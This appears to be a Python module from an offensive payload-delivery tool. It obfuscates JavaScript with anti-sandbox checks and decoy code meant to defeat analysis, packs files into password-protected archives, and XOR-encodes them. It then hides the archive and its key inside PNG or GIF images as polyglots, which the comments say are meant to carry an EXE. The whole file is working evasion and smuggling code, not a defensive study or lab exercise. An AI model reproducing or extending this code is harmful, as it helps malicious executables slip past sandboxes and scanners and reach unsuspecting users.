from core.logging.debug import logging
from core.operations.chunks import CustomImageChunk
import base64
import py7zr
import os
import random
import string
import pyminizip
import magic
import re

def cleanup():
    TempFile = []
    for TempFile in ['temp.7z', 'temp.zip']:
        if os.path.exists(TempFile):
            os.remove(TempFile)
    print(f"\033[91m[Cleanup] Removed {TempFile}\033[0m")

def DisplayBanner(path):
    with open(path, 'r') as file:
        print(file.read())

def RandomizeVar():
    return ''.join(random.choices(string.ascii_letters, k=5))

# Dual-layer obfuscation: GetJS() handles Layer 1 (randomization + minification)
# ObfuscateJS() adds Layer 2 (semantic obfuscation)
def ObfuscateJS(JScode):
    """
    Second-layer JavaScript obfuscation (semantic layer).

    GetJS() already handles Layer 1:
      - Variable name randomization (25+ vars)
      - Minification (single line)

    This layer (Layer 2) adds:
      - Anti-sandbox detection
      - Dummy code injection
      - Control-flow obfuscation
      - Additional aggressive minification
    """
    # LAYER 2A: Anti-sandbox detection
    # Checks for plugins/canvas WebGL to detect headless/sandbox environments
    anti_sandbox = "(function(){if(!navigator.plugins||navigator.plugins.length===0)return;try{var c=document.createElement('canvas').getContext('webgl');if(!c)return;}catch(e){return;}})();"

    # LAYER 2B: Inject dummy code to confuse static analysis
    dummy_var1 = ''.join(random.choices(string.ascii_letters, k=10))
    dummy_var2 = ''.join(random.choices(string.ascii_letters, k=10))
    dummy_var3 = ''.join(random.choices(string.ascii_letters, k=10))
    dummy_var4 = ''.join(random.choices(string.ascii_letters, k=10))

    dummy_code = (f"var {dummy_var1}={random.randint(1000,9999)};"
                  f"var {dummy_var2}=[{random.randint(100,999)},{random.randint(100,999)}];"
                  f"var {dummy_var3}=String.fromCharCode({random.randint(65,90)},{random.randint(65,90)});"
                  f"function {dummy_var4}(){{return null;}};")

    # LAYER 2C: Aggressive minification - remove all unnecessary whitespace
    # Remove spaces around operators and punctuation
    minified = re.sub(r'\s*([=+\-*/<>!&|^~?:;,{}()\[\]])\s*', r'\1', JScode)

    # Remove spaces before/after specific keywords while preserving functionality
    minified = re.sub(r'\bvar\s+', 'var ', minified)
    minified = re.sub(r'\bfunction\s+', 'function ', minified)
    minified = re.sub(r'\bif\s*\(', 'if(', minified)
    minified = re.sub(r'\belse\s*\{', 'else{', minified)
    minified = re.sub(r'\bfor\s*\(', 'for(', minified)
    minified = re.sub(r'\bwhile\s*\(', 'while(', minified)

    # Prepend anti-sandbox check + dummy code + original minified JS
    final_js = anti_sandbox + dummy_code + minified

    logging.debug(f"ObfuscateJS Layer 2 applied. Anti-sandbox + {len(dummy_code)} bytes dummy code injected.")

    return final_js

def EncodeXOR(data, key):
    return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])

def IdentifyFileType(FilePath):
    mime = magic.Magic(mime=True)
    mime_type = mime.from_file(FilePath)
    if 'html' in mime_type:
        return 'html'
    elif 'svg' in mime_type:
        return 'svg'
    return None

## Convert the given file to its base64 representation.
def Base64Encode(filename):
    logging.debug(f"Converting {filename} to base64.")
    with open(filename, "rb") as file:
        return base64.b64encode(file.read()).decode('utf-8')
    
def CompressFileDir(FileOrDirectory, password, format='7z'):
    ofile = 'temp.7z' if format == '7z' else 'temp.zip'

    # FIX #1: Check if input is already compressed - if so, use it directly
    file_lower = FileOrDirectory.lower()
    if (file_lower.endswith('.7z') and format == '7z') or (file_lower.endswith('.zip') and format == 'zip'):
        logging.debug(f"Input file is already compressed. Using {FileOrDirectory} directly (no re-compression).")
        print(f"\033[92m[INFO] Input file is already compressed. Skipping re-compression.\033[0m")
        return FileOrDirectory

    logging.debug(f"Compressing {FileOrDirectory} with password [{password}] using {format} format.")
    try:
        # Check if input path is a file or directory
        if os.path.isfile(FileOrDirectory):
            # Compress a single file
            if format == '7z':
                with py7zr.SevenZipFile(ofile, mode='w', password=password) as archive:
                    archive.write(FileOrDirectory, os.path.basename(FileOrDirectory))
            elif format == 'zip':
                # Compression level 5, ZIP stores password in plain text, use for compatibility only
                pyminizip.compress(FileOrDirectory, None, ofile, password, 5)
        elif os.path.isdir(FileOrDirectory):
            # Compress all files in a directory
            FilesList = [os.path.join(FileOrDirectory, f) for f in os.listdir(FileOrDirectory) if os.path.isfile(os.path.join(FileOrDirectory, f))]
            print(f"\033[92mFiles found in the Directory {os.path.abspath(FileOrDirectory)}/:\033[0m")
            for files in FilesList:
                print(f"\033[92m  - {files}\033[0m")
            if format == '7z':
                with py7zr.SevenZipFile(ofile, mode='w', password=password) as archive:
                    for fname in FilesList:
                        archive.write(fname, os.path.relpath(fname, FileOrDirectory))
            elif format == 'zip':
                pyminizip.compress_multiple(FilesList, [], ofile, password, 5)
        else:
            raise ValueError(f"Invalid path or unsupported file type: {FileOrDirectory}")
    except Exception as e:
        logging.error(f"Error during compression: {e}")
        raise
    return ofile

## Embed EXE inside PNG/GIF (Polyglots)
def embed(PathToImageFile, PathToZIPFile, OutputFilePath, ImageType):
    with open(PathToImageFile, 'rb') as f:
        logging.debug(f"Reading {ImageType.upper()} file")
        ImageData = f.read()
    
    with open(PathToZIPFile, 'rb') as f:
        logging.debug(f"Reading compressed file")
        CompressedData = f.read()
        
    # Generate a random XOR key of 16 bytes
    KeyXOR = os.urandom(16)
    print(f"\n\033[92mGenerated XOR Key: {KeyXOR.hex()}\033[0m\n")

    # XOR encode the EXE data
    EncodedDataXOR = EncodeXOR(CompressedData, KeyXOR)

    # Create a custom chunk to hold the XOR key
    KeyChunk = CustomImageChunk(b"xkEy", KeyXOR, ImageType)
    HiddenDataChunk = CustomImageChunk(b"exEf", EncodedDataXOR, ImageType)

    if ImageType == 'png':
        # Embed the chunk into the PNG data
        # The last 12 bytes of a PNG file are always the IEND chunk (00 00 00 00 49 45 4E 44 AE 42 60 82)
        SignatureEOF = b"\x00\x00\x00\x00\x49\x45\x4E\x44\xAE\x42\x60\x82"
    elif ImageType == 'gif':
        SignatureEOF = b"\x00\x3B"
    else:
        raise ValueError("Unsupported image type")

    EOFposition = ImageData.rfind(SignatureEOF)
    if EOFposition == -1:
        print("Invalid {ImageType.upper()} file.")
        exit(1)

    DataLength = len(EncodedDataXOR)
    #print(f"EXE LENGTH: {DataLength}")
    DataLengthInHex = f"{DataLength:08x}"  # Convert to 8-character hex string
    DataLengthInBytes = bytes.fromhex(DataLengthInHex)
    # Create a new PNG/GIF data with the embedded EXE chunk
    if ImageType == 'png':
        PolyglotImageData = ImageData[:EOFposition] + KeyChunk + HiddenDataChunk + ImageData[EOFposition:]
    elif ImageType == 'gif':
        PolyglotImageData = ImageData[:EOFposition] + KeyChunk + HiddenDataChunk + DataLengthInBytes + ImageData[EOFposition:]
    logging.debug(f"Creating new {ImageType.upper()} with embedded EXE chunk")

    with open(OutputFilePath, "wb") as f:
        f.write(PolyglotImageData)